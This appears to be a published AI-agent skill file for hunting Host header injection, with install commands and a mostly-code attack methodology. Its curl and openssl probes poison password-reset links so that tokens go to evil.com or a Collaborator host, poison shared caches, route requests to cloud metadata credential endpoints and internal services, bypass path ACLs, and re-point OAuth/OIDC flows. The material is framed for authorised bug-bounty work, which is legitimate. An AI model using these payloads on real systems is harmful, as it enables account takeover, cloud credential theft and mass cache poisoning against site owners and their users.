hunt-host-header skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt Host Header Injection — password reset poisoning → ATO, web cache poisoning via unkeyed Host/X-Forwarded-Host, routing-based SSRF (Host picks upstream → cloud metadata/internal services), path-override SSRF/ACL-bypass (X-Original-URL/X-Rewrite-URL), OAuth redirect_uri/issuer poisoning, and absolute-URL link poisoning in emails. High to Critical when it reaches ATO or mass cache poisoning. Built on public Host-header research (PortSwigger 'Practical web cache poisoning' + James Kettle, and the classic password-reset-poisoning class). Use on any forgot-password flow, CDN/reverse-proxy-fronted app, OAuth/OIDC endpoint, or absolute-URL-in-email feature.

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Install the hunt-host-header skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-host-header ~/.claude/skills/hunt-host-header

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:

"Practical HTTP Host header attacks" (the Django request.gethost() → password-reset-link case). Many frameworks built the reset URL from the request Host with no ALLOWEDHOSTS-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.

Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era

James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.

Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research,

(Host header steers the front-end's upstream selection).

Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.

Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

attacker sets Host: evil.com; the victim's reset email points the token at the attacker → token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting their own reset leaks the token to evil.com.

Password reset poisoning → ATO — server builds the reset link from the request Host;

an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.

Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects

Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target → cloud metadata / internal admin panels.

Routing-based SSRF — the front-end uses the Host header itself to pick the upstream;

X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)

Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL /

auth-code or token theft → ATO.

OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc →

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

Step-by-Step Hunting Methodology

Always test against your own registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-ac

Confirm: open the reset email in your own test inbox and read the link host. The token must appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and have proof — see Validation.

Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host

Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into the response body (an absolute URL, script src, , , redirect Location, or canonical/og:url) and that response must be cached on a key you do not control. No Collaborator callback is expected from the cache test itself — only later, if a victim's browser loads the poisoned absolute URL.

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

False-positive killers (mandatory):

Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the payload on a request that omits the header.

A reflection that only ever appears for your request (because the header is keyed, e.g. in

"mass". Cache scope is often per-edge / per-cookie / per-geo.

Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
Confirm blast radius from a second machine / fresh egress IP / incognito before claiming

Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)

These operate at different layers. Test them separately; they do not compose into one request.

(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the request line, exactly as a normal request, because the metadata service / internal host serves plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant here — the EC2 IMDS ignores it.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

The old probe Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ was wrong: those

two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.

Phase 4 — OAuth / OIDC / SAML Poisoning

# Does the authorization endpoint build redirect_uri / display URL from Host?
curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
  -H "Host: evil.com" | grep -iE "redirect|location|action="

# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"

Confirm: the auth code / token must actually be delivered to the attacker host (capture on Collaborator) — a reflected string alone is not ATO.

Phase 5 — Header Fuzzing (Param Miner)

Burp Param Miner → Guess headers is faster and finds unkeyed/cache-affecting headers the list below misses. Manual sweep:

HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
for H in "${HOST_HEADERS[@]}"; do
  echo "=== $H ==="
  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
done

Chain Table

Validation (house discipline)

✅ Password reset: the token URL in your own test account's email uses an attacker-controlled host. Strongest proof = inject a Collaborator host and show the inbound HTTP hit carrying the token when the link is clicked/previewed (OOB capture). ✅ Cache poison: a request that omits the injected header (fresh egress IP / incognito) still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or MISS/Age:0 only. ✅ Routing SSRF: real response body from 169.254.169.254 / internal host, or an OOB DNS/HTTP hit on your Collaborator from the front-end (blind case). ✅ Path-override: status/body diff vs the edge-blocked direct request proves the override took. ✅ OAuth/OIDC: the auth code / token is actually delivered to the attacker host (captured), not merely reflected.

Always rule out false positives:

target or your Collaborator fired.

Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check Vary, second IP).
A 200 echoing your Host string is not SSRF unless the response content came from the internal

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